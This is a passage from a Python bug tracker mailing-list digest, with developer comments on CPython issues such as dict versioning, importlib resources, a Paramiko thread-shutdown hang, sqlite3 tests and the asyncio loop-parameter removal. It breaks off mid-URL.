Python tracker _______________________________________ From report at bugs.python.org Mon May 24 10:51:15 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 24 May 2021 14:51:15 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1621867875.23.0.596856729319.issue44206@roundup.psfhosted.org> STINNER Victor added the comment: I don't understand how such "key version" would be useful. Can you please elaborate? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 10:56:29 2021 From: report at bugs.python.org (Ken Jin) Date: Mon, 24 May 2021 14:56:29 +0000 Subject: [issue44207] Add a version number to Python functions In-Reply-To: <1621612378.09.0.0247616387464.issue44207@roundup.psfhosted.org> Message-ID: <1621868189.01.0.630076157485.issue44207@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 11:08:12 2021 From: report at bugs.python.org (Emmanuel Arias) Date: Mon, 24 May 2021 15:08:12 +0000 Subject: [issue28806] Improve the netrc library In-Reply-To: <1480158810.39.0.736994382472.issue28806@psf.upfronthosting.co.za> Message-ID: <1621868892.89.0.486605380256.issue28806@roundup.psfhosted.org> Emmanuel Arias added the comment: Hello everybody I've just make this PR https://github.com/python/cpython/pull/26330 to continue the work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 11:35:11 2021 From: report at bugs.python.org (Mark Shannon) Date: Mon, 24 May 2021 15:35:11 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1621870511.94.0.14975872969.issue44206@roundup.psfhosted.org> Mark Shannon added the comment: http://theses.gla.ac.uk/2975/1/2011shannonphd.pdf page 128. It means we don't need to cache a pointer to the keys, just the version number. The version number is half the size (for 64 bit machines) and using it means that we don't leak keys. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 11:53:20 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 24 May 2021 15:53:20 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1621871600.62.0.877185351502.issue44206@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 11:53:43 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 24 May 2021 15:53:43 +0000 Subject: [issue44207] Add a version number to Python functions In-Reply-To: <1621612378.09.0.0247616387464.issue44207@roundup.psfhosted.org> Message-ID: <1621871623.67.0.476785504791.issue44207@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 12:43:35 2021 From: report at bugs.python.org (Beuc) Date: Mon, 24 May 2021 16:43:35 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1621874615.66.0.64760897958.issue40280@roundup.psfhosted.org> Change by Beuc : ---------- nosy: -Beuc _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 12:57:26 2021 From: report at bugs.python.org (Wayne Johnston) Date: Mon, 24 May 2021 16:57:26 +0000 Subject: [issue42937] 192.0.0.8 (IPv4 dummy address) considered globally reachable In-Reply-To: <1610751638.64.0.309759393541.issue42937@roundup.psfhosted.org> Message-ID: <1621875446.61.0.748354385923.issue42937@roundup.psfhosted.org> Wayne Johnston added the comment: I completely agree with comments about .is_global and special_use. Private IPs are just a subset of special use. For some part Private means the Private use networks reserved by IANA and specified in IETF RFC1918. For this PR "IPv4 dummy address" is for sure not global. Technically, it is not a private use IP either. Just following what others have done. I really like the apporoach of removing the routable special IPs. Let me know if I should create a PR to do this. This would include adding specific special use constant plus a whole bunch of very specific constants. A constant like is_dummy will be added. I pretty much have the code ready to go for IPV4. ---------- components: +Library (Lib) versions: +Python 3.11 -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 13:07:30 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 24 May 2021 17:07:30 +0000 Subject: [issue44195] importlib.abc.TraversableReader is not implemented In-Reply-To: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org> Message-ID: <1621876050.98.0.354454429552.issue44195@roundup.psfhosted.org> Jason R. Coombs added the comment: > are people supposed to be implementing readers with just files(), or are they always expected to inherit TraversableResources? A resource provider could potentially implement only the `files()` method (what I think you're calling `TraversableReader`), but my expectation was that all providers would provide a Reader derived from `TraversableResources` in order to provide backward-compatibility for the `ResourceReader` interface. Long term, I'd expect to deprecate all but `files()` on `TraversableResources`. If a provider only implemented `files()` today and did not inherit from `TraversableResources`, they would still satisfy the `files()` API, but not the ResourceReader API (i.e. violate the expectation that `Loader.get_resource_reader` returns a ResourceReader). I decided not to present both `TraversableReader` and `TraversableResources` as separate classes because the latter was sufficient for all known cases. > It seems to me that maybe that is an issue and we actually want [DegenerateFiles] to inherit from TraversableResources. Perhaps. What advantage would that have? > Regardless of the usefulness in code, please also consider type hinting. Agreed, there are some places where type hints would drastically improve readability. > If people are expecting to be using this protocol, we should expose it. My instinct is `TraversableResources` is the preferred protocol for now, although I think it's likely we'll want to separate out the TraversableReader when necessary. Let's plan to do that in importlib_resources first. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 13:08:19 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 24 May 2021 17:08:19 +0000 Subject: [issue44195] importlib.abc.TraversableReader is not implemented In-Reply-To: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org> Message-ID: <1621876099.54.0.88736491318.issue44195@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24926 pull_request: https://github.com/python/cpython/pull/26334 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 13:08:24 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 24 May 2021 17:08:24 +0000 Subject: [issue44195] importlib.abc.TraversableReader is not implemented In-Reply-To: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org> Message-ID: <1621876104.3.0.302302733784.issue44195@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24927 pull_request: https://github.com/python/cpython/pull/26335 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 13:30:12 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 24 May 2021 17:30:12 +0000 Subject: [issue44195] importlib.abc.TraversableReader is not implemented In-Reply-To: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org> Message-ID: <1621877412.72.0.3763792677.issue44195@roundup.psfhosted.org> miss-islington added the comment: New changeset d309bcc9e36adb2437a02550514df3efeb1b2343 by Miss Islington (bot) in branch '3.10': bpo-44195: Use 'TraversableResources' in the docs to match the implementation. (GH-26317) https://github.com/python/cpython/commit/d309bcc9e36adb2437a02550514df3efeb1b2343 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 13:33:11 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 24 May 2021 17:33:11 +0000 Subject: [issue44195] importlib.abc.TraversableReader is not implemented In-Reply-To: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org> Message-ID: <1621877591.24.0.353909571191.issue44195@roundup.psfhosted.org> miss-islington added the comment: New changeset ab4da079232356e781743b2782148bc7c03f1ee3 by Miss Islington (bot) in branch '3.9': [3.9] bpo-44195: Use 'TraversableResources' in the docs to match the implementation. (GH-26317) (GH-26335) https://github.com/python/cpython/commit/ab4da079232356e781743b2782148bc7c03f1ee3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 14:22:47 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 24 May 2021 18:22:47 +0000 Subject: [issue44192] Annotations, Inheritance and Circular Reference In-Reply-To: <1621530083.02.0.0042523880734.issue44192@roundup.psfhosted.org> Message-ID: <1621880567.31.0.57417039188.issue44192@roundup.psfhosted.org> Filipe La?ns added the comment: The annotations will effectively become strings, instead of object references, in Python 3.11, which solves this issue. You can enable this behavior in holder Python version with `from __future__ import annotations`, see PEP 563[1]. >>> class Base: ... _sub: list[Sub] ... Traceback (most recent call last): File "", line 1, in File "", line 2, in Base NameError: name 'Sub' is not defined >>> from __future__ import annotations >>> class Base: ... _sub: list[Sub] ... >>> class Sub: ... _parent: Base ... >>> [1] https://www.python.org/dev/peps/pep-0563/ ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 14:23:41 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 24 May 2021 18:23:41 +0000 Subject: [issue44192] Annotations, Inheritance and Circular Reference In-Reply-To: <1621530083.02.0.0042523880734.issue44192@roundup.psfhosted.org> Message-ID: <1621880621.17.0.180952730831.issue44192@roundup.psfhosted.org> Filipe La?ns added the comment: s/holder/older/ Sorry, my dyslexia is acting up. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 14:34:07 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 24 May 2021 18:34:07 +0000 Subject: [issue42654] Add folder for python customizations: __sitecustomize__ In-Reply-To: <1608111763.27.0.89032945983.issue42654@roundup.psfhosted.org> Message-ID: <1621881247.73.0.959307021347.issue42654@roundup.psfhosted.org> Change by Filipe La?ns : ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 14:35:59 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 24 May 2021 18:35:59 +0000 Subject: [issue42043] zipfile.Path should support inheritance In-Reply-To: <1602763408.56.0.61735130641.issue42043@roundup.psfhosted.org> Message-ID: <1621881359.52.0.0631904573288.issue42043@roundup.psfhosted.org> Filipe La?ns added the comment: This can be closed now. ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 14:41:22 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 24 May 2021 18:41:22 +0000 Subject: [issue42043] zipfile.Path should support inheritance In-Reply-To: <1602763408.56.0.61735130641.issue42043@roundup.psfhosted.org> Message-ID: <1621881682.94.0.542932225581.issue42043@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 14:42:06 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 24 May 2021 18:42:06 +0000 Subject: [issue29468] zipfile should catch ValueError as well as OSError to detect bad seek calls In-Reply-To: <1486437245.45.0.651838453816.issue29468@psf.upfronthosting.co.za> Message-ID: <1621881726.43.0.848688241742.issue29468@roundup.psfhosted.org> Filipe La?ns added the comment: That would not stay true to its meaning. AFAIK there are no implied exceptions in file objects. Given the meaning of ValueError, I'd say it is appropriate here. ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 14:44:59 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 24 May 2021 18:44:59 +0000 Subject: [issue43066] Zipfile with leading slashes In-Reply-To: <1611952128.43.0.663068649879.issue43066@roundup.psfhosted.org> Message-ID: <1621881899.94.0.613928316738.issue43066@roundup.psfhosted.org> Change by Filipe La?ns : ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 14:45:48 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Mon, 24 May 2021 18:45:48 +0000 Subject: [issue42112] ZipFIle.write remove slash at the beginning of member's path Message-ID: <1621881948.12.0.460751830702.issue42112@roundup.psfhosted.org> Change by Filipe La?ns : ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 14:55:16 2021 From: report at bugs.python.org (Muralidhar BN) Date: Mon, 24 May 2021 18:55:16 +0000 Subject: [issue44226] Threads shutting down in Py 2.7 but not in Py 3.69 while making SSH connection using Paramiko module Message-ID: <1621882516.37.0.78116563301.issue44226@roundup.psfhosted.org> New submission from Muralidhar BN : Threads shutting down in Py 2.7 but not in Py 3.69 while making SSH connection using Paramiko module Executing code qa-test-execute.py in Py 2.7 (Ubuntu 14.04.6 LTS) Command 1 : sudo python ./qa-test-execute.py Output 1 : 2021-05-24 23:35:59,889[BaseCommandLine __init__ 139916740505872][DEBUG]: Attempt to close ssh-session within 10.0 seconds. Exception AssertionError: 'attempt to release recursive lock not owned by thread' in > ignored Command 2 : sudo python ./qa-test-execute.py 2>&1 | tee 24052021_py27_execute_1.log Output 2 : 2021-05-24 23:50:16,303[BaseCommandLine __init__ 139863250567440][DEBUG]: Attempt to close ssh-session within 10.0 seconds. Exception AssertionError: 'attempt to release recursive lock not owned by thread' in > ignored Executing code qa-test-execute.py in Py 3.69 (Ubuntu 18.04.5 LTS) Command 1 : sudo python ./qa-test-execute.py Output 1 : 2021-05-24 23:53:49,293[BaseCommandLine __init__ 139973197423840][DEBUG]: Attempt to close ssh-session within 10.0 seconds. 2021-05-24 23:53:49,293[BaseCommandLine __init__ 139973197423840][DEBUG]: Closing internal ssh-client. Fatal Python error: could not acquire lock for <_io.BufferedWriter name=''> at interpreter shutdown, possibly due to daemon threads Command 2 : sudo python3 ./qa-test-execute.py 2>&1 | tee launcher_gt20907_24052021_execute_py369_1.log Output 2 : Terminal hangs & CTRL C to return prompt 2021-05-24 23:56:31,646[BaseCommandLine __init__ 140516619855072][DEBUG]: Attempt to close ssh-session within 10.0 seconds. 2021-05-24 23:56:31,646[BaseCommandLine __init__ 140516619855072][DEBUG]: Closing internal ssh-client. ^C Behaviour of same code is different when executed in Py 2.7 & Py 3.69. Threads not terminating normally conflicting with paramiko / logging module qa-test-execute.py #!/usr/bin/env python3 import sys import traceback import logging import logging.config import time import threading import multiprocessing import paramiko ######################################################################## def lock_acquire_with_timeout1(lock, timeout_seconds): """ Try to acquire lock without specified timeout @param lock: threading lock to be acquired @type lock: threading.Lock @param timeout_seconds: maximal time to make lock acquire attempts @type timeout_seconds: float """ begin_time = time.time() while time.time() - begin_time < timeout_seconds: if lambda: lock.acquire(False): return True else: time.sleep(1.0) return None def call_with_timeout1(method_to_call, timeout_seconds): """ Good for potentially "freeze" methods calls. Executes passed method in separate thread. Waits for control returns within timeout. If timeout exceed - return control to callee thread. Separate execution thread will still be active. @param method_to_call: method te be called @type method_to_call: function @param timeout_seconds: maximal time to wait for method call finished @type timeout_seconds: float """ stop_thread = threading.Barrier(2) thread_name = threading._newname("{}-%d".format(__name__)) call_thread = threading.Thread(target=method_to_call, name=thread_name) call_thread.daemon = True call_thread.start() print ("threading.activeCount() : %s",threading.activeCount()) print ("threading.currentThread() : %s", threading.currentThread()) print ("threading.enumerate() : %s", threading.enumerate() ) call_thread.join(timeout=timeout_seconds) if call_thread.is_alive(): stop_thread.abort() return not call_thread.is_alive() def format_all_threads_stacks1(): """ @return: formatted stacks for all running threads. """ stacktraces = [] for thread_id, stack in list(dict(list(sys._current_frames().items())).items()): for thread1 in threading.enumerate(): if thread1.ident == thread_id: stacktraces.append('Thread %s (daemon=%r) stacktrace: \n%s' % (thread1.name, thread1.daemon, ''.join(traceback.format_stack(stack)))) else: thread = None return '\n'.join(stacktraces) class SSHClient_noauth1(paramiko.SSHClient): def _auth(self, username, *args): self._transport.auth_none(username) return class BaseCommandLine1(object): def __init__(self, connection_timeout=None): self._connection_timeout = connection_timeout self._connection_lock = multiprocessing.RLock() self._ssh_client = None self.logger = logging.getLogger('BaseCommandLine __init__ {}'.format(id(self))) self.reset_connection1() def __del__(self): self.close1() def _wait_for_connection1(self): begin_time = time.time() self.logger.debug("Will attempt to connect with device for %s seconds." % self._connection_timeout) while time.time() - begin_time < self._connection_timeout: try: self._connect_ssh1() self._ssh_client.get_transport().set_keepalive(5) self.logger.debug('BaseCommandLine1 new SSH connection with {}:{} established.'. format("10.221.42.29", "22")) break except Exception as e: self.logger.debug('BaseCommandLine1 SSH-connection failed after %d seconds passed with exception: %s' % (time.time() - begin_time, e)) self.logger.debug('BaseCommandLine1 Next attempt after {} seconds.'.format(5.0)) time.sleep(5.0) else: self.logger.debug('BaseCommandLine1 Failed to connect to {}:{} within {} seconds: {}'.format( "10.221.42.29","22",self._connection_timeout,traceback.format_exc())) def reset_connection1(self): with self._connection_lock: self.close1() self.logger.debug('reset connection begin.') self._wait_for_connection1() def close1(self): if not self._ssh_client: return close_timeout = 10.0 begin_time = time.time() self.logger.debug("Attempt to close ssh-session within %s seconds." % close_timeout) if lock_acquire_with_timeout1(self._connection_lock, close_timeout): try: if call_with_timeout1(self.__nonblocking_close1, timeout_seconds=close_timeout): self.logger.debug("Successfully closed SSHClient within %d seconds." % (time.time() - begin_time)) else: self.logger.warning("Failed to close SSHClient within %d seconds." % close_timeout) self.logger.warning("All threads state:\n%s" % format_all_threads_stacks1()) finally: self._connection_lock.release() else: self.logger.warning("Failed to acquire lock within %s timeout." % close_timeout) self._ssh_client = None def __nonblocking_close1(self): """ Non-blocking call to close SSH connection. May freeze on internal SSHClient.close(). """ self.logger.debug("Closing internal ssh-client.") if self._ssh_client: self._ssh_client.close1() self.logger.debug("Internal ssh-client closed.") self._ssh_client = None def _connect_ssh1(self, key_filename=None): client = SSHClient_noauth1() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: # try using specified password first self.logger.debug("BaseCommandLine1 _connect_ssh1 - try using specified password first") client.connect("10.221.42.29", port="22", username="root", password="", timeout=60.0, banner_timeout=60.0, key_filename=None, allow_agent=False) except paramiko.AuthenticationException as e: # in case of authentication error try to connect without password self.logger.debug("BaseCommandLine1_connect_ssh1 - in case of authentication error try to connect without password : %s" % str(e)) self._ssh_client = client return client def config_logging(): formatter = logging.Formatter("%(asctime)s[%(name)s]" "[%(levelname)s]: %(message)s") console_logger = logging.StreamHandler(sys.stdout) console_logger.setFormatter(formatter) root_logger = logging.getLogger() root_logger.setLevel(logging.DEBUG) root_logger.addHandler(logging.NullHandler()) paramiko_logger = logging.getLogger('paramiko') paramiko_logger.setLevel(logging.CRITICAL) paramiko_logger.addHandler(console_logger) console_logger.setLevel(logging.DEBUG) root_logger.addHandler(console_logger) def main(argv): config_logging() try: result = BaseCommandLine1(300) except Exception: logging.debug("Exception from BaseCommandLine1") logging.debug("Show all threads status before exit attempt:\n %s", format_all_threads_stacks1()) if __name__ == "__main__": main(sys.argv) ---------- components: Interpreter Core messages: 394264 nosy: muralidhar.bn priority: normal severity: normal status: open title: Threads shutting down in Py 2.7 but not in Py 3.69 while making SSH connection using Paramiko module versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 14:57:52 2021 From: report at bugs.python.org (David Edelsohn) Date: Mon, 24 May 2021 18:57:52 +0000 Subject: [issue43665] AIX: test_importlib regression (ENV change) In-Reply-To: <1617089431.51.0.0013168061581.issue43665@roundup.psfhosted.org> Message-ID: <1621882672.77.0.427710400255.issue43665@roundup.psfhosted.org> Change by David Edelsohn : ---------- nosy: +David.Edelsohn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 15:40:23 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 24 May 2021 19:40:23 +0000 Subject: [issue11486] Add option to not install into /Applications In-Reply-To: <1300051941.49.0.427500618783.issue11486@psf.upfronthosting.co.za> Message-ID: <1621885223.56.0.698393582455.issue11486@roundup.psfhosted.org> Erlend E. Aasland added the comment: Ronald, do you still wish to apply this? It should be easy to rebase this patch onto main. If not, we should perhaps close this issue. ---------- nosy: +erlendaasland versions: +Python 3.11 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 16:16:41 2021 From: report at bugs.python.org (David Edelsohn) Date: Mon, 24 May 2021 20:16:41 +0000 Subject: [issue40092] Crash in _PyThreadState_DeleteExcept() at fork in the process child In-Reply-To: <1585329415.65.0.534969367772.issue40092@roundup.psfhosted.org> Message-ID: <1621887401.22.0.0380670631889.issue40092@roundup.psfhosted.org> David Edelsohn added the comment: It seems that PyOS_AfterFork_Child() needs to do something like PyThreadState *tstate = PyThreadState_Get(); PyObject *wr = _PyObject_CAST(tstate->on_delete_data); PyObject *obj = PyWeakref_GET_OBJECT(wr); lockobject *lock; if (obj != Py_None) { lock = (lockobject *) obj; if (lock->locked) { /* Leak memory on purpose. */ lock->locked = 0; } } before the call to _PyEval_ReInitThreads. Maybe encapsulate that as PyThread_ReInitThreads(). The locks in the threads in the child need to be cleared before _PyThreadState_DeleteExcept() so that Python does not try to release the locks in the child. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 16:31:54 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 24 May 2021 20:31:54 +0000 Subject: [issue42654] Add folder for python customizations: __sitecustomize__ In-Reply-To: <1608111763.27.0.89032945983.issue42654@roundup.psfhosted.org> Message-ID: <1621888314.0.0.634477757385.issue42654@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 16:53:17 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 24 May 2021 20:53:17 +0000 Subject: [issue43853] [sqlite3] Improve sqlite3_value_text() error handling In-Reply-To: <1618480809.83.0.17163581819.issue43853@roundup.psfhosted.org> Message-ID: <1621889597.57.0.422260920887.issue43853@roundup.psfhosted.org> Erlend E. Aasland added the comment: The affected branch is exercised by the following tests: - test_aggr_check_param_blob - test_aggr_check_param_float - test_aggr_check_param_int - test_aggr_check_param_none - test_aggr_check_param_str - test_aggr_check_params_int - test_aggr_exception_in_finalize - test_aggr_exception_in_step - test_aggr_no_finalize - test_param_string I've expanded test_aggr_check_param_str and test_param_string to also check empty strings. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 16:58:45 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 24 May 2021 20:58:45 +0000 Subject: [issue40092] Crash in _PyThreadState_DeleteExcept() at fork in the process child In-Reply-To: <1585329415.65.0.534969367772.issue40092@roundup.psfhosted.org> Message-ID: <1621889925.25.0.0589420089738.issue40092@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 17:15:51 2021 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 24 May 2021 21:15:51 +0000 Subject: [issue44226] Threads shutting down in Py 2.7 but not in Py 3.69 while making SSH connection using Paramiko module In-Reply-To: <1621882516.37.0.78116563301.issue44226@roundup.psfhosted.org> Message-ID: <1621890951.53.0.931396448145.issue44226@roundup.psfhosted.org> Eric V. Smith added the comment: This was reported a few hours ago at https://github.com/paramiko/paramiko/issues/1856. I'm closing this as a third party issue. ---------- nosy: +eric.smith resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 18:19:58 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 24 May 2021 22:19:58 +0000 Subject: [issue44079] [sqlite3] remove superfluous statement weak ref list from connection object In-Reply-To: <1620503004.28.0.3842383449.issue44079@roundup.psfhosted.org> Message-ID: <1621894798.29.0.0441392126324.issue44079@roundup.psfhosted.org> Erlend E. Aasland added the comment: > I'm not fully sure that the both use cases can be combined. I'm fully sure they can :) Did I miss anything in msg393942? AFAICS, there is no need for the weak ref list anymore. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 18:20:32 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 May 2021 22:20:32 +0000 Subject: [issue42392] remove the deprecated 'loop' parameter asyncio API In-Reply-To: <1605639845.5.0.800535008799.issue42392@roundup.psfhosted.org> Message-ID: <1621894832.04.0.235652438501.issue42392@roundup.psfhosted.org> Gregory P. Smith added the comment: There appear to be no versionchanged:: 3.10 in the asyncio docs on the APIs that formerly accepted a loop= parameter linking people to information on when that went away (3.10) and why. Specifically I'm talking about https://docs.python.org/3.10/library/asyncio-stream.html. The asyncio stack traces people will face when porting code to 3.10 are mystifying (they may not even show use of a loop parameter) when this comes up, so we should really leave more bread crumbs than expecting people to find the What's New doc. ``` ... E server = event_loop.run_until_complete(coro) E File "/opt/hostedtoolcache/Python/3.10.0-beta.1/x64/lib/python3.10/asyncio/base_events.py", line 641, in run_until_complete E return future.result() E File "/opt/hostedtoolcache/Python/3.10.0-beta.1/x64/lib/python3.10/asyncio/streams.py", line 113, in start_unix_server E return await loop.create_unix_server(factory, path, **kwds) E TypeError: _UnixSelectorEventLoop.create_unix_server() got an unexpected keyword argument 'loop' ``` Arguably something similar to that whatsnew text should've been added to the docs in 3.8 with the loop deprecation. Something like this? ``` .. versionchanged:: 3.7 This function now implicitly gets the current thread's running event loop. .. versionchanged:: 3.10 That `loop` parameter has been removed. ``` including a ReST link to more info in the whats new doc on the last entry would be useful. ---------- nosy: +gregory.p.smith resolution: fixed -> stage: resolved -> needs patch status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 18:41:04 2021 From: report at bugs.python.org (Yonatan Goldschmidt) Date: Mon, 24 May 2021 22:41:04 +0000 Subject: [issue44222] Improving _removeHandlerRef for a very long _handlerList In-Reply-To: <1621818745.43.0.712595663988.issue44222@roundup.psfhosted.org> Message-ID: <1621896064.91.0.386038614802.issue44222@roundup.psfhosted.org> Yonatan Goldschmidt added the comment: That system has many (>10k) objects of a certain type. Each of them has a separate Logger object + Handlers. That was done, among other reasons, to allow for easy consuming of the logs relating to a particular object in a file-based manner. I agree that it's not common at all (other Python projects I've worked on don't exhibit this behavior) but since this change is harmless I thought we might as well make it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 18:49:01 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 24 May 2021 22:49:01 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1621896541.97.0.758144831707.issue41282@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 21.0 -> 22.0 pull_requests: +24928 pull_request: https://github.com/python/cpython/pull/26336 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 19:00:57 2021 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 24 May 2021 23:00:57 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1621897257.07.0.632475078084.issue40222@roundup.psfhosted.org> Guido van Rossum added the comment: I think we're waiting here for the release manager to decide, right? Should we roll back the change to PyCode_NewWithPosOnlyArgs() or keep it? Presumably the requested docs aren't the (beta) release blocker? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 19:02:00 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 May 2021 23:02:00 +0000 Subject: [issue42392] remove the deprecated 'loop' parameter asyncio API In-Reply-To: <1605639845.5.0.800535008799.issue42392@roundup.psfhosted.org> Message-ID: <1621897320.42.0.508196899804.issue42392@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 19:02:31 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 24 May 2021 23:02:31 +0000 Subject: [issue42392] [document removal of] the deprecated 'loop' parameter asyncio API in 3.10 In-Reply-To: <1605639845.5.0.800535008799.issue42392@roundup.psfhosted.org> Message-ID: <1621897351.5.0.232468704455.issue42392@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- title: remove the deprecated 'loop' parameter asyncio API -> [document removal of] the deprecated 'loop' parameter asyncio API in 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 19:07:48 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 24 May 2021 23:07:48 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1621897668.87.0.386771833194.issue40222@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > I think we're waiting here for the release manager to decide, right? As Petr mentions, the release manager doesn't have authority to decide if the backwards compatibility policy can be ignored, only the Steering Council. > Should we roll back the change to PyCode_NewWithPosOnlyArgs() or keep it? I don't think is possible: code objects must be constructed with the new argument, otherwise they are broken. There is not an easy way to have a default for PyCode_New and PyCode_NewWithPosOnlyArgs that somehow creates the field from nothing. I *personally* think that this case is one good example of an exception to the backwards compact rule, but I myself cannot grant that exception as a release manager. I also think these APIs should be removed from the public C-API ASAP because they literally conflict everytime we change the code object for optimizations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 19:09:13 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 24 May 2021 23:09:13 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1621897753.05.0.47351331315.issue40222@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Small note, as I mentioned in my correction email (https://mail.python.org/archives/list/python-dev at 